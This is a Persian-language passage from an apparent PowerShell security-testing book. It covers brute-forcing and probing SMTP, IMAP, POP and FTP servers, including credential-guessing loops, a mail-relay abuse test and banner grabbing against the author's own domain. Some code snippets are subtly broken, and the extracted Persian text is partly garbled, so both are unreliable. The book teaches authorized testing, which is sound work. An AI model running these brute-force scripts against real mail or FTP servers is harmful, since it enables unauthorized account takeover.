با    Send-MailMessageتوان از  ی منظور م  نیا  یو رمز عبور خودکار کند. برا  یمختلف نام کاربر   یهاب یترک

Credential مختلف استفاده کرد ی ها : 

$passwords = Get-Content "passwords.txt" 
$users = Get-Content "users.txt" 
foreach ($user in $users) { 
     foreach ($password in $passwords) { 
          Send-MailMessage -To "user@snowcapcyber.com" -From $user 
-SmtpServer mail.snowcapcyber.com -Credential (New-Object System. 
Management.Automation.PSCredential($user, (ConvertTo-SecureString 
-String $password -AsPlainText -Force))) 
     } 
} 

ارسال کند و به    ل یمیا  کی و رمز عبور،    ی مختلف نام کاربر   یهاب یبا استفاده از ترک  کند ی تلاش م  پتیاسکر  نیا

 به دست آورد. را  رمجاز یغ یطور بالقوه دسترس 

Mail relay abuse 

ارسال    یتوانند از آن برایباشد، مهاجمان م  داشته   ناامن  اینادرست    یکربند یپ  SMTPسرور    ک یاگر  

استفاده    رمجازیغ  لیمیا برا  نمودهسوء  آن  از  گ  نگیشیف  یهال یمیا  ا یارسال هرزنامه    ی و    رندگانی به 
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  ه یرا شب  Mail Relayحمله    ک یرا خودکار کند و    ند یفرآ  نیتواند ای م   PowerShellاستفاده کنند.    یخارج

 کند:  یساز

Send-MailMessage -To "external@snowcapcyber.com" -From "user@ 
snowcapcyber.com" -SmtpServer mail.snowcapcyber.com 

 شود. ی داده م  لیتحو  یخارج  رندهیگ  کیبه    تیبا موفق  لی میا  نیرا بدهد، ا  رمجازیغ  Relayاجازه    SMTPاگر سرور  

نت قدرتمند   تواند یم   PowerShell  جه،یدر  سرورها  یبرا   ی ابزار  نفوذ  شناسا  SMTP  یتست  به  و    ییباشد 

  ی مسئولانه، اخلاق  فهیوظ  نیمهم است که به ا  اریحال، بس  نیکمک کند. با ا  لیمیا  رساختیدر ز  هایریپذ بیآس 

کن برخورد  مجوز مناسب  با  تست،  . هدفمیو  این  پذ   تیامن  شیافزا   از  انعطاف    ی برا   SMTP  یسرورها  ی ر یو 

  ی هاس یو در دسترس بودن سرو  ی کپارچگ یاز محرمانه بودن،    نان یو اطم  ل یمیبر ا  یمبتن  داتیت در برابر تهد محافظ

 است. لیمیا

PowerShell and IMAP 

شما   لیمیا  رساختیز  تی امن  نیمهم در تضم  اریکار بس  کی   IMAPدر برابر سرور    یریپذ ب یتست آس   کیانجام  

توسعه    کروسافتیقدرتمند که توسط ما  ون یو چارچوب اتوماس   ی سینو  پتیزبان اسکر  ک ی،  PowerShellاست.  

  ی برا   PowerShellاستفاده از    حوهراهنما، ن  نیمنظور باشد. در ا  نیا  یبرا  یتواند ابزار ارزشمند ی است، م  افتهی

  ی هاو مثال   میدهیرا پوشش م  یو دستورات ضرور   میکرد. ما مفاه  میخواه  یرا بررس   IMAPسرور    تیامن  یابیارز

 . میکنی جامع ارائه م یریپذ بیتست آس  ک یکمک به شما در انجام   یرا برا ی مفصل

Vulnerabilities in IMAP servers 

از   استفاده  از  بسIMAPسرور    یهایریپذ بی آس   شیآزما  ی برا  PowerShellقبل  که    اری،  است  مهم 

 :میها سوء استفاده کنند، درک کن از آن  توانند ی م مهاجمانرا که  ی جیرا یهایریپذ بیآس 

Open relays:  یسرورها  IMAP  شده به عنوان    ی کربند یپOpen relays  ی هال یمیارسال ا  ی توانند برای م 

Spam رند یمورد سوء استفاده قرار گ . 

Brute-force attacks:  حملات    قی ورود را از طر  اطلاعاتکنند    یمهاجمان ممکن است سعbrute-force  

 .حدس بزنند 

SSL/TLS vulnerabilities:  ها را در معرض  تواند داده ی نادرست م  یکربند یپ  ای  فی ضع  یرمزگذار

 . استراق سمع قرار دهد 
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Banner grabbing: ها را آشکار کند ی ریپذ بیتواند آس ی استخراج اطلاعات سرور م. 

Excessive login attempts :  حمله باشد  ک یتواند نشان دهنده ی ورود م ی تلاش ناموفق برا نیچند. 

Exploitation  :ریپذ بیآس   ی سرورها  IMAP  و    یکپارچگ یها، به خطر انداختن  سوء استفاده   ی ممکن است برا

 . رند یها مورد هدف قرار گمحرمانه بودن داده 

Establishing an IMAP connection 

  ن ی. اد یبا آن ارتباط برقرار کن  د یبا  د، یکن  شیآزما  یریپذ ب یرا از نظر آس   IMAPسرور    کی  د یبتوان  نکهیقبل از ا

  کی  جاد یاز نحوه ا  یمثال  نجایو رمز عبور است. در ا  یاتصال مانند آدرس سرور، نام کاربر  ی پارامترها  میشامل تنظ

 آورده شده است: IMAP ه یاتصال اول 

Import-Module MailKit 
Import-Module MimeKit 
$server = "imap.snowcapcyber.com" 
$port = 993 
$username = "andrewblyth" 
$password = "Th1s1sMypa55w0rd" 
$imapClient = [MimeKit.Net.Imap.ImapClient]::new() 
$imapClient.Connect($server, $port, [System.Security.Authentication. 
SslProtocols]::Tls) 
$imapClient.Authenticate($username, $password) 

شو مقاد  password$و    server  ،$username$که    د یمطمئن  با  برا  ریرا  خود    IMAPسرور    یمناسب 

 .د یاکرده  نیگزیجا

Scanning for IMAP servers 

ها با آن   ی مختلف و نحوه اجرا  یریپذ ب یآس   یهاتست  د ییایب  د،یابرقرار کرده   IMAPبه سرور    ی اکنون که اتصال

  ی اهداف بالقوه برا  ییتواند به شناسای م  IMAP  یسرورها  شناسایی.  میکن   یرا بررس   PowerShellاستفاده از  

 شناسایی ،  IMAP  لیمیا  رکوردهای   یبرا   DNS  رکوردهایبا پرس و جو از    د یتوانیکمک کند. شما م  شیآزما

 : د یسرور را انجام ده ه یاول
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Resolve-DnsName -Name "imap" -Type MX 

Brute-force attacks 

کردن حمله    یبرا   PowerShellاز    د یتوانیمشما   سرور    brute-forceخودکار  منظور  IMAPبه  تست    به 

کند  ی م  ی شود و سعی عبور تکرار م  یاز رمزها  ی ستیل  قی از طر   پتیاسکر  ن ی. اد یاستفاده کن  ف یعبور ضع  یرمزها

 : دوارد شو ک یبا هر 

$MyPasswordList = @("mypasswd1", "mypasswd2") 
foreach ($password in $ MyPasswordList) { 
     try { 
          $imapClient.Authenticate($username, $password) 
          Write-Host "Successful login: $password" 
          } catch { 
               # Handle login failures here 
} } 

SSL/TLS vulnerability scanning 

 یریپذ ب یهر گونه آس   ییو شناسا  IMAPسرور    SSL/TLS  ی کربند یپ  یبررس   یبرا  PowerShellاز    د یتوانی م

 دهد:ی سرور ارائه م  SSL/TLS ت یوضع یبررس  ی را برا ییهانه یگز  MailKit. کتابخانه  د یاستفاده کن

$capabilities = $imapClient.Capabilities 
if ($capabilities -contains "STARTTLS") { 
     Write-Host "STARTTLS supported" 
} else { 
     Write-Host "STARTTLS not supported." 
     Exit } 
$sslVersion = $imapClient.SslProtocol 
Write-Host "Server SSL/TLS version: $sslVersion" 

 کند.یم  یبانیپشت SSL/TLS یهانسخه  نیترمن یو ا  نیکه سرور از آخر د یحاصل کن نانیاطم

IMAP banner grabbing 

بنر تکن برا  ی کیگرفتن  استفاده م  ی است که  بنر سرور  پاسخ  از  ای استخراج اطلاعات  موضوع    ن یشود. 

 ارزشمند را نشان دهد: اتیجزئ ر یسرور و ساتواند نسخه نرم افزار ی م
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$banner = $imapClient.Banner 
Write-Host "IMAP Server Banner: $banner" 

ا  د یتوانی م برا   نیاز  افزار سرور استفاده    یهایریپذ ب یآس   یبررس   یاطلاعات  نرم  شناخته شده مربوط به نسخه 

 . نماییم ییرا شناسا IMAPدهد شماره نسخه برنامه ی . گرفتن بنر به ما امکان مد یکن

IMAP exploitation testing 

  یی ابزارها  ا ی  ی سفارش   یهاپتیخاص، ممکن است لازم باشد از اسکر  یهات یاکسپلو  ای  هایریپذ ب یآس   ش یآزما  یبرا

  ش یفراتر از آزما  نی. ادهند ی را هدف قرار م  IMAP  یشناخته شده در سرورها  یهایریپذ ب یکه آس   د یاستفاده کن

 دارد.  از ین یاحتمال یهایریپذ ب ینرم افزار سرور و آس  قیاست و اغلب به دانش عم ه یاول

باشد.    IMAPسرور    یهایریپذ ب یآس   شیآزما  ی ابزار ارزشمند برا  ک یتواند  ی م  PowerShellبه طور خلاصه،  

  یهاپتیها و اسکربا کتابخانهرا    یریپذ ب یآس   قیتا اسکن عم  هی اول  شناساییاز  ،  مختلف  یهاتست  د یتوانیشما م

  د یدار  یابیکه اجازه ارز  ییهاستم یو فقط در س   همسئولانها را  تست  نیکه ا  د یداشته باش   ادی. به  د یمناسب انجام ده

 .  د یانجام ده

PowerShell and POP 

PowerShell  مختلف از جمله    یهاس یها و سروستم یدر س   یریپذ بی آس   ی ابیانجام ارز  ی ابزار قدرتمند برا  ک ی

الکترون   یسرورها ا  POP  یکیپست  در  از    نیاست.  استفاده  نحوه  ارز  یبرا  PowerShellراهنما،    ی ابیانجام 

مانند    ی ضرور   یهاجنبه   یابیارز   نیکرد. ا  میخواه  یرا بررس   POP  ی کیکامل در سرور پست الکترون  یریپذ بیآس 

سرور پست    تیاز امن  نانی. اطمدهد ی و گرفتن بنر را پوشش م یرحمیب  ت،یاحراز هو  یهایپورت، بررس   ییشناسا

کند. ی م   فایها ااز سازمان  یار یبس  یبرا   لیمیدر ارتباطات ا  ینقش مهم  را یمهم است ز  اریشما بس  POP  ی کیالکترون

 کرد.  م یارائه خواه یحاتیها و توضمثال   ،یابیارز ند ینشان دادن هر مرحله از فرآ یبرا

الکترون  کی براکه کاربران آن   یتا زمان  ل یمیا  یهاام یپ  رهی و ذخ  افت یمسئول در  POP  ی کیسرور پست    ی ها را 

 ها ی ریپذ بیکند. آس ی استفاده م  POPاز پروتکل    ند یفرآ  نیا  ل یتسه  ی خود دانلود کنند، است. برا  ل یمیا  انیمشتر

شود.    یت یمسائل امن  ریسا  ایها  نقض داده   رمجاز، یغ  یمنجر به دسترس   تواند ی م   POP  ی کیدر سرور پست الکترون

  ی واقع  یا یدن  یهاها با مثال مؤلفه   ن یاز ا  ک ی هر    ی برا  PowerShellتوان از  ی که چگونه م  م ی کن  ی بررس   د ییایب

 استفاده کرد. 
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Port identification 

از    د یتوانی درک سطح حمله آن است. م  ی گام برا  نیاول  POP  یکیباز در سرور پست الکترون  یهاپورت  ییشناسا

PowerShell  دستور  باز با استفاده از یهااسکن پورت یبرا Test-NetConnection د یاستفاده کن: 

Test-NetConnection -ComputerName pop.example.com -CommonTCPPort 
POP3, 
POP3S 

دهد که کدام  ی نشان م  یکند. خروج ی م  شیرا آزما  POP3Sو    POP3استاندارد    یهادستور اتصال به پورت   نیا

 دسترس هستند.ها باز و در پورت

Authentication checks 

احراز    یاتصال و تلاش برا  کیشروع    یبرا  PowerShellاز    د یتوانی سرور، م   تیاحراز هو  سمیمکان  یابیارز  یبرا

 .د یاستفاده کن تیهو

$popServer = "pop.example.com" 
$port = 110 
$credentials = Get-Credential -Message "Enter POP3 credentials" 
try { 
$popClient = New-Object System.Net.Sockets.TcpClient($popServer, 
$port) 
     $popStream = $popClient.GetStream() 
     $popReader = New-Object System.IO.StreamReader($popStream) 
     $popWriter = New-Object System.IO.StreamWriter($popStream) 
     $popWriter.WriteLine("USER " + $credentials.UserName) 
     $popWriter.WriteLine("PASS " + $credentials. 
GetNetworkCredential().Password) 
     $popWriter.WriteLine("QUIT") 
     $response = $popReader.ReadToEnd() 
     if ($response -match "OK") { 
          Write-Host "Authentication succeeded." 
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     } else { 
          Write-Host "Authentication failed." } 
     $popClient.Close() 
} catch { 
     Write-Host "Connection to POP server failed." } 

و    دهد ی را انجام م  تیشده احراز هوارائه  یهاCredentialبا    کند،ی ارتباط برقرار م   POPبا سرور    پتیاسکر  نیا

صورت   ن یا ری. در غه استانجام شد  تیبا موفق ت یباشد، احراز هو "OK". اگر پاسخ شامل کند ی م  یپاسخ را بررس 

 . خواهد بودنشان دهنده شکست 

Brute-forcing 

$popServer = "pop.snowcapcyber.com" 
$port = 110 
$users = "ajcblyth", "jsmith", "pdavies" 
$passwords = "password1", "password2", "password3" 
foreach ($user in $users) { 
     foreach ($password in $passwords) { 
          try { 
               $popClient = New-Object System.Net.Sockets. 
TcpClient($popServer, $port) 

               $popStream = $popClient.GetStream() 
               $popReader = New-Object System.IO.StreamReader($popStream) 
               $popWriter = New-Object System.IO.StreamWriter($popStream) 
 
               $popWriter.WriteLine("USER " + $user) 
               $popWriter.WriteLine("PASS " + $password) 
               $popWriter.WriteLine("QUIT") 
 
               $response = $popReader.ReadToEnd() 
               if ($response -match "OK") { 
                    Write-Host "Brute force succeeded. User: $user, 
Password: $password" 
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                    $popClient.Close() 
                     Break } 
               $popClient.Close() 
          } catch { 
               Write-Host "Connection to POP server failed." 
          } } } 

موفق استفاده    تیاحراز هو  ی بررس   ی و رمز عبور برا  یکاربر  یهااز نام   ی مختلف  یهابی از ترک  پتیمثال، اسکر  نیدر ا

بدون مجوز    د یاست و نبا  ی اهداف آموزش   یشده برا  یساز  ه یمثال شب  ک ی  نیکه ا  د یداشته باش   ادی. به  کند ی م

 مناسب استفاده شود. 

Banner grabbing 

سرور    ی کربند یدر مورد نسخه و پ  نشیبه دست آوردن ب  یبرا   سیسرو  یاطلاعات از بنرها  یابیگرفتن بنر شامل باز

 اطلاعات کمک کند.   ن یتواند به استخراج ای م  PowerShellاست. 

$popServer = "pop.snowcapcyber.com" 
$port = 110 
try { 
     $popClient = New-Object System.Net.Sockets.TcpClient($popServer, 
$port) 
         $popStream = $popClient.GetStream() 
     $popReader = New-Object System.IO.StreamReader($popStream) 
     $banner = $popReader.ReadLine() 
     Write-Host "Banner: $banner." 
     $popClient.Close() 
} catch { 
Write-Host "POP Connection failed."} 

  ی بنر اغلب حاو  نیدهد. ایم  شیکند و نمای م  یابیکند، بنر را بازی ارتباط برقرار م  POPبا سرور    پتیاسکر  نیا

مرتبط با آن نسخه خاص    یهای ریپذ بیآس   ییتواند به شناسای در مورد نرم افزار و نسخه سرور است که م   یاطلاعات

 کمک کند. 

PowerShell  ی کیدر سرور پست الکترون  یریپذ ب یجامع آس   یابیارز  ک یانجام    ی ابزار همه کاره برا  ک ی  

POP  د، یکن  ییباز را شناسا  یهاپورت   د یتوانی راهنما، م  ن یاست. با دنبال کردن مراحل ذکر شده در ا  
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مجوز مناسب( و گرفتن  د )با  یکن  یسازه ی را شب  brute-forceحملات    د، یکن  یابیرا ارز  ت یاحراز هو  یهاسمیمکان

محافظت    ی برا  POP  یکیسرور پست الکترون   ت ی. حفظ امند یسرور انجام ده  یکربند ی نسخه و پ  نییتع  ی بنر را برا

  ا یکه مالک    ییهاستم یدر س   یریپذ ب یآس   یابیاست. هنگام انجام ارز  ی در سازمان شما ضرور  لیمیاز ارتباطات ا

 . د یکن ی رویپ یاخلاق یهاو از دستورالعمل  نموده  افت یلازم را در ی مجوزها شهیهم د،یستیها نآن  تیریمد 

Summary 

  ی در برابر سرورها   یریپذ بیآس   یابیانجام ارز   یرا برا   PowerShellفصل، نحوه استفاده از    نیبه طور خلاصه، در ا

  ، Brute Forcing  ت،یکه چگونه اسکن پورت، احراز هو  میا، نشان داده بردی کار  یها. با مثال میاکرده   ی بررس   لیمیا

 .باشد  یریپذ ب یآس  یابیاز ارز یبخش تواند ی و گرفتن بنر م 

  ی اشتراک گذار  یهاس یاز تست نفوذ در برابر سرو  یرا به عنوان بخش  PowerShellدر فصل بعد، نحوه استفاده از  

 گرفت.   می خواه ادیاز راه دور  ی دسترس  یهاس یو سرو لیفا
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 PowerShell and FTP, SFTP, SSH, and TFTP - فصل نهم

ما از    نجا،یکرد. در ا  میخواه  یرا بررس   SFTPو     FTP،TFTP  ی سرورها  یابیارز  یهای دگیچیفصل، ما پ  نیدر ا

  ی حوزه محور  ن یاابزار همه کاره در    کیو آن را به عنوان    م یکنی م  ی پرده بردار PowerShell یقدرت چند وجه

 .م یکنی م ی معرف

  ی برا   TFTPاستفاده گسترده آن،    ی برا  FTP  -   م یکنیم   ح یهر پروتکل را تشر  فیظر  یهاسفر، ما تفاوت   نیدر ا

  ی زیمتما  ی تیامن  یهافصل چالش  نیآن. ا  ی امن قو  لیانتقال فا   یهاتیقابل یبرا  SFTPآن و    یکارآمد و    یسادگ

  توان ی چگونه م   نکه یدر مورد ا  قیعم  یبررس   یرا برا  نهیو زم  کند ی روشن م   کنند یم  جادیها اپروتکل   نیرا که ا

PowerShell کند ی ها مهار کرد، آماده مچالش ن یو کاهش مؤثر ا  یدگیرس  ی را برا. 

 یهاپتیساخت اسکر  قیرا از طر  PowerShell  یسازگار  ،ی واقع  یایدن  یوهایو سنار  ی عمل  ریتصاو  ت، یدر طول روا

مخرب    یهاتیفعال   یها گرفته تا اجراپروتکل   ن یا  یذات  یهایریپذ ب یآس   ی. از بررس کنند ی روشن م  یتست سفارش 

چابک و قدرتمند    ی به عنوان ابزار  PowerShellهدفمند،    Brute-Forceحملات    یاندازو راه   شدهیسازهیشب

 . شودی ظاهر م SFTPو  FTP ،TFTP ی سرورها یتی امن یهات یوضع ی بررس  یبرا

بلکه    یفن  یهانش ی نه تنها ب  م،یکنی عبور م   یتیدر تست امن  PowerShellکاوش در برنامه    نیهمانطور که ما از ا

با تجربه    ت یمتخصص امن  ک یشود. چه  ی به شما داده م   ی شیگردش کار آزما  ی ساز  نهی به  یبرا   یعمل  یهای استراتژ

ا  کی  ای در  وارد  اباشید   رشته  نیتازه  به عنوان    ن ی،  ارز  کیفصل  قابل  یبرا   شمند منبع  از    ی قو  یهات یاستفاده 

PowerShell  ی دفاع از سرورها  تیدر تقو  FTP  ،TFTP    وSFTP  عمل    یبریسا  ت یامن  یایچشم انداز پو   ان یدر م

 کند.ی م

 پرداخته خواهد شد: ر ی فصل به موضوعات ز  نیدر ا

• PowerShell and FTP 

• Brute-forcing authentication of an FTP connection 

• PowerShell and FTP 

• PowerShell and SSH, SCP, and SFTP 

• Brute-forcing authentication for SSH 

• Security auditing tools for SSH 

PowerShell and FTP 

  ی برا  های و بررس   هاش یاز آزما  یعیوس   فیشامل ط  PowerShellبا استفاده از    FTPسرور    تیامن  یابیارز

مقاله    کی توانم  یکه من نم   یاست. در حال  یکربند یپ  یهاو ضعف   یاحتمال  یهایریپذ بیآس   ییشناسا
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اندازه    یبرا   PowerShellاز    ده از نحوه استفا  ییهاو نمونه   ی کل  ینما  ک یتوانم  ی ارائه کنم، م   یاکلمه   1111کامل  

 به شما ارائه دهم.  FTPسرور   تیامن ی ریگ

Banner grabbing for FTP 

کند.  ی م  یابیرا باز  FTPاغلب گرفتن بنر است که اطلاعات مربوط به سرور    FTPسرور    تیامن  یابیقدم در ارز  نیاول

  ن یتوان از ای س م. سپمیکن  ییدر حال اجرا را شناسا  سی دهد نوع / شماره نسخه سروی گرفتن بنر به ما امکان م

نرم افزار    ییتواند به شناسای م   موضوع   نی. اداستفاده کر   س یمربوط به سرو  یهای ریپذب یآس   ییشناسا  ی برا  موارد 

  ی ارائه دهد. ما قبلاً در پاسخ قبل  ی احتمال  یهایریپذ بی آس   ی را برا  یکمک کند و اطلاعات ارزشمند آن  و نسخه  

 . میبه گرفتن بنر پرداخت

$ftpServer = "ftp://ftp.snowcapcyber.com" 
$request = [System.Net.WebRequest]::Create($ftpServer) 
$request.Method = [System.Net. 
WebRequestMethods+Ftp]::ListDirectoryDetails 
$response = $request.GetResponse() 
$stream = $response.GetResponseStream() 
$reader = [System.IO.StreamReader]::new($stream) 
$banner = $reader.ReadToEnd() 
Write-Host "Banner Information:" 
Write-Host $banner 
$reader.Close() 
$response.Close() 

Connecting to an FTP server 

  نجا ی . در امیکنی راه دور استفاده م   FTPسرور    کیبه    TCPاتصال    کی   جادیا  یبرا  PowerShellاز    ر یدر کد ز

 مثال است: کی

$ftpServer = "ftp://ftp.snowcapcyber.com" 
$ftpUsername = "your_username" 
$ftpPassword = "your_password" 
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$ftpWebRequest = [System.Net.FtpWebRequest]::Create($ftpServer) 
$ftpWebRequest.Credentials = New-Object System.Net. 
NetworkCredential($ftpUsername, $ftpPassword) 
$ftpResponse = $ftpWebRequest.GetResponse() 

 کند.ی م  میبه سرور با اعتبار مشخص شده تنظ FTPاتصال  ک یکد  نیا

Brute-forcing authentication of an FTP connection 

به کاربران اجازه م   ی سیهر سرو حملات    توانی کنند، م  تی و رمز عبور احراز هو  ی نام کاربر  ق یاز طر  دهد ی که 

Brute Force  اصطلاح  را علیه آن انجام داد .Brute-Forcing   ممکن    یهاب یهمه ترک  کیستماتیبه تلاش س

  ی دسترس   یروش برا  نیشود، اشاره دارد. ا  دایپ  حیکه مورد صح  یتا زمان  یرمزگذار  یدهایکل  ایعبور    یاز رمزها

  ا یو رمز عبور    یشود. مهاجم هر نام کاربر ی شده استفاده م   یرمزگذار   یهاداده   ایبرنامه    ستم، یس   ک یبه    رمجازیغ

 آن کشف شود.  حی که نام صح ی کند تا زمانی ممکن را امتحان م FTP د یکل

Anonymous access check 

اجازه دسترس   یگاه  FTP  یسرورها م  Anonymous  یاوقات  م ی را  امن   کیتواند  ی دهند که  باشد.   ی تیخطر 

استفاده    ریخ  ایدهد  ی را م  Anonymousسرور اجازه ورود    ایآ  نکه یا  یبررس   یبرا  PowerShellاز    د یتوانی م

 :د یکن

$ftpServer = "ftp://ftp.snowcapcyber.com" 
$webClient = New-Object System.Net.WebClient 
$credentials = $webClient.Credentials 
if ($credentials.UserName -eq "anonymous" -or $credentials.UserName 
-eq "") { 
     Write-Host "Anonymous access is enabled." 
} else { 
     Write-Host "Anonymous access is disabled."} 

SSL/TLS support for an FTP server 

مهم    اریها بسداده   تیامن  یبرا   ر، یخ  ا یکند  ی م  یبانی( پشتSSL/TLS)   منیاز اتصالات ا  FTPسرور    ایآ  نکهیا  یبررس 

  ک ی  میکنی م   یسع  ر یموضوع کمک کند. در کد ز  نیا  د ییتواند به شما در تأی م  PowerShellاست.  

 : میبرقرار کن FTPسرور  کیبه  SSL/TLSاتصال 
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$ftpServer = "ftp://ftp.snowcapcyber.com" 
$request = [System.Net.WebRequest]::Create($ftpServer) 
$request.Method = [System.Net. 
WebRequestMethods+Ftp]::ListDirectoryDetails 
$request.EnableSsl = $true 
try { 
     $response = $request.GetResponse() 
     Write-Host "SSL/TLS is supported." 
     $response.Close() 
} catch { 
     Write-Host "SSL/TLS is not supported or misconfigured." } 

PowerShell  اتصال به سرور    ی برا  یتواند ابزار قدرتمند ی مFTP  دستورات مختلف    ی و اجراFTP   باشد. چارچوب

.NET    درPowerShell  اتصالات    تیر یمد   یرا برا  یداخل  یهاتیقابلFTP  از    ییهانمونه   ریکند. در زی فراهم م

 آورده شده است. PowerShellدستورات با استفاده از   یو اجرا  FTPنحوه اتصال به سرور  

Listing files on the FTP server 

 : د یاستفاده کن FTPدر سرور  ی رکتوریدر دا هال یفهرست کردن فا یبرا PowerShellاز  د یتوانی م

$ftpServer = "ftp://ftp.snowcapcyber.com" 
$ftpUsername = "ajcblyth" 
$ftpPassword = "Th1s1sMyOa55w9rd" 
$remoteDirectory = "/home/ajcblyth/directory" 
$ftpWebRequest = [System.Net. 
FtpWebRequest]::Create("$ftpServer$remoteDirectory") 
$ftpWebRequest.Credentials = New-Object System.Net. 
NetworkCredential($ftpUsername, $ftpPassword) 
$ftpWebRequest.Method = [System.Net. 
WebRequestMethods+Ftp]::ListDirectory 
$ftpResponse = $ftpWebRequest.GetResponse() 

 کند.ی م  ستیمشخص شده ل  یرکتوریها را در دالیشود و فای متصل م FTPکد به سرور  نیا

Uploading a file to an FTP server 

 : میکنی استفاده م FTPدر سرور   ل یفا ک یآپلود  ی برا PowerShellاز  ر، یدر مثال ز
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$ftpServer = "ftp://ftp.snowcapcyber.com" 
$ftpUsername = "ajcblyth" 
$ftpPassword = ".Th1s1sMyOa55w9rd" 
$localFilePath = "C:\local\file.txt" 
$remoteFilePath = "/remote/directory/file.txt" 
$ftpWebRequest = [System.Net. 
FtpWebRequest]::Create("$ftpServer$remoteFilePath") 
$ftpWebRequest.Credentials = New-Object System.Net. 
NetworkCredential($ftpUsername, $ftpPassword) 
$ftpWebRequest.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile 
$fileContent = Get-Content $localFilePath 
$ftpRequestStream = $ftpWebRequest.GetRequestStream() 
$ftpRequestStream.Write($fileContent, 0, $fileContent.Length) 
$ftpRequestStream.Close() 
$ftpResponse = $ftpWebRequest.GetResponse() 

 کند.ی آپلود م FTPرا در مکان مشخص شده در سرور  ی محل  لیفا ک یکد  نیا

Downloading a file from an FTP server 

 :د یاستفاده کن PowerShell از د یتوانیم FTP از سرور لیدانلود فا یبرا

$ftpServer = "ftp://ftp.snowcapcyber.com" 
$ftpUsername = "ajcblyth" 
Brute-forcing authentication of an FTP connection  
$ftpPassword = ".Th1s1sMyOa55w9rd" 
$remoteFilePath = "/remote/directory/file.txt" 
$localFilePath = "C:\local\downloaded_file.txt" 
$ftpWebRequest = [System.Net. 
FtpWebRequest]::Create("$ftpServer$remoteFilePath") 
$ftpWebRequest.Credentials = New-Object System.Net. 
NetworkCredential($ftpUsername, $ftpPassword) 
$ftpWebRequest.Method = [System.Net. 
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WebRequestMethods+Ftp]::DownloadFile 
$ftpResponse = $ftpWebRequest.GetResponse() 
$ftpResponseStream = $ftpResponse.GetResponseStream() 
$fileStream = [System.IO.File]::Create($localFilePath) 
$buffer = New-Object byte[] 1024 
while ($true) { 
     $read = $ftpResponseStream.Read($buffer, 0, $buffer.Length) 
     if ($read -le 0) { 
           break 
     } 
     $fileStream.Write($buffer, 0, $read) 
} 
$fileStream.Close() 
$ftpResponseStream.Close() 

  ی را برا   یریپذ انعطاف   PowerShellکند.  ی شما دانلود م   ی محل یرکتوریبه دا  FTPرا از سرور   لیفا  کیکد    نیا

ها مثال   نی. اکند ی فراهم م   لیمختلف انتقال فا  ی دستورات و خودکار کردن کارها  ی، اجراFTP  ی اتصال به سرورها

  ی کار   یهادر گردش   FTPتعاملات    ت یریو مد   ترده یچیپ  ون یاتوماس   یهاپتیساخت اسکر  ی برا  یاهیپا  توانند ی م

 و توسعه شما باشند.   یادار

Strong password policies for FTP 

  ش یعبور آزما  ی حدس زدن رمزها  ایاعمال فشار    یرا با تلاش برا  FTPعبور کاربر    ی قدرت رمزها  د یتوانیشما م

اد یکن با  ا  ن ی.  با  ن یحال،  بخش  د یتنها  عنوان  به  مناسب  مجوز  انجام شود.    ای  ی تی امن  ی زیاز مم  یبا  نفوذ  تست 

 : د یقدرت رمز عبور استفاده کن  شیآزما  یبرا  یلعبور احتما  یاز رمزها  یستیهمراه با ل  PowerShellاز    د یتوانی م

$ftpServer = "ftp://ftp.snowcapcyber.com" 
$ftpUsername = "ajcblyth" 
$passwords = "password1", "password123", "ftpuserpass", "secureftp" 
$webClient = New-Object System.Net.WebClient 
$failedAttempts = 0 
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foreach ($password in $passwords) { 
     $webClient.Credentials = New-Object System.Net. 
NetworkCredential($ftpUsername, $password) 
     try { 
          $webClient.UploadFile("$ftpServer/test.txt", "C:\temp\test.txt") 
               Write-Host "Password '$password' worked!" 
               break 
     } catch { 
               $failedAttempts++ } } 
if ($failedAttempts -eq $passwords.Count) { 
     Write-Host "No valid password found." } 

 . ستیعمل مسئول ن ک یبدون مجوز مناسب  Brute Forceانجام حملات  که  د یلطفاً توجه داشته باش 

Firewall and access control lists for FTP 

  ن ی( را تضمACL)  یکنترل دسترس   ست یو ل  روال یمناسب فا  مات یممکن است تنظ  ن یهمچن  FTPسرور    تیامن

بررس ی م   PowerShellکند.   آ  یتواند  که  س   FTPسرور    ا یکند  دسترس   ستم یاز  قابل  و    ر یخ  ایاست    ی شما 

 کند:ی م ل یو تحل  هیرا تجز یاحتمال یهات یمحدود

Test-NetConnection -ComputerName ftp.snowcapcyber.com -Port 21 

  FTPفرض    ش ی، پورت کنترل پFTPسرور    21تواند به پورت  ی شما م  ستم یس   ایکند که آ ی م  ی بررس   دستور   نیا

 .د یکن ییشبکه را شناسا یکند تا مشکلات احتمالی به شما کمک م نی. اریخ ایمتصل شود 

PowerShell  سرور   ت یامن ی ابیارز ی ابزار همه کاره برا کیFTP نکته مهم است   نیحال، توجه به ا ن یاست. با ا

مانند    رمجاز،یغ  یهاتیو با مجوز مناسب انجام شوند. فعال  یو اخلاق   یاز نظر قانون  د یفقط با   یتیامن  یهای ابیکه ارز

  ط ی مح  کیدر    د یبا  یریپذ ب یآس   یابیو ارز  یتیامن  ستهستند. ت   یراخلاقیو غ  یرقانونی، غBrute-Forceحملات  

 لازم انجام شود.  ی کنترل شده و با مجوزها

PowerShell and TFTP 

PowerShell   ی تیاز تست امن  ی توانند به عنوان بخشی دهد که می ها را ارائه ماز کتابخانه   یامجموعه  

شمارش و    ،ییدهند که شناسای ها به ما اجازه م استفاده شوند. به طور خاص، آن   TFTPدر برابر سرور  

 . می کن یرا بررس   یدسترس  یهاکنترل 
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Identifying the TFTP server 

 : د یو پورت استفاده کن IPآن مانند آدرس   ات یو جزئ  TFTPسرور   ییشناسا ی برا PowerShellاز 

Test-NetConnection -ComputerName tftp.snowcapcyber.com -Port 69 

Enumerating a TFTP server configuration 

انتقال مجاز و هرگونه   یها، از جمله حالت TFTPسرور   یکربند یاطلاعات مربوط به پتوانید بوسیله دستور زیر می 

 :د ی کن ی را جمع آور ت یمحدود

Install-Module -Name PSFTP 
Get-PSFTPConfiguration -ComputerName tftp.snowcapcyber.com 

Verifying access controls for TFTP 

 :د یکن  ی را بررس   TFTPسرور  یو مجوزها  یدسترس  یهاکنترل 

Get-PSFTPFile -ComputerName tftp.snowcapcyber.com -Path "/" 

  میخواهی را که م  ییهالیتمام فا   میتوانی . ممیاستفاده کن  لیفا  یسر   کی  یابیباز  یبرا   دستور  نیاز ا  میتوانی ما م

حلقه  به صورت  را    لیو سپس آن فا  میقرار ده  لیفا  کی در    م،ی کن  یابیباز  TFTPسرور    کی و از    م یامتحان کن

 : می اجرا کن ری را به صورت ز  Get-PSFTPFileو دستور  استفاده نموده 

# Specify the path to the file 
$filePath = "C:\Path\To\Your\TFTPFile.txt" 
$computer = "tftp.snowcapcyber.com" 
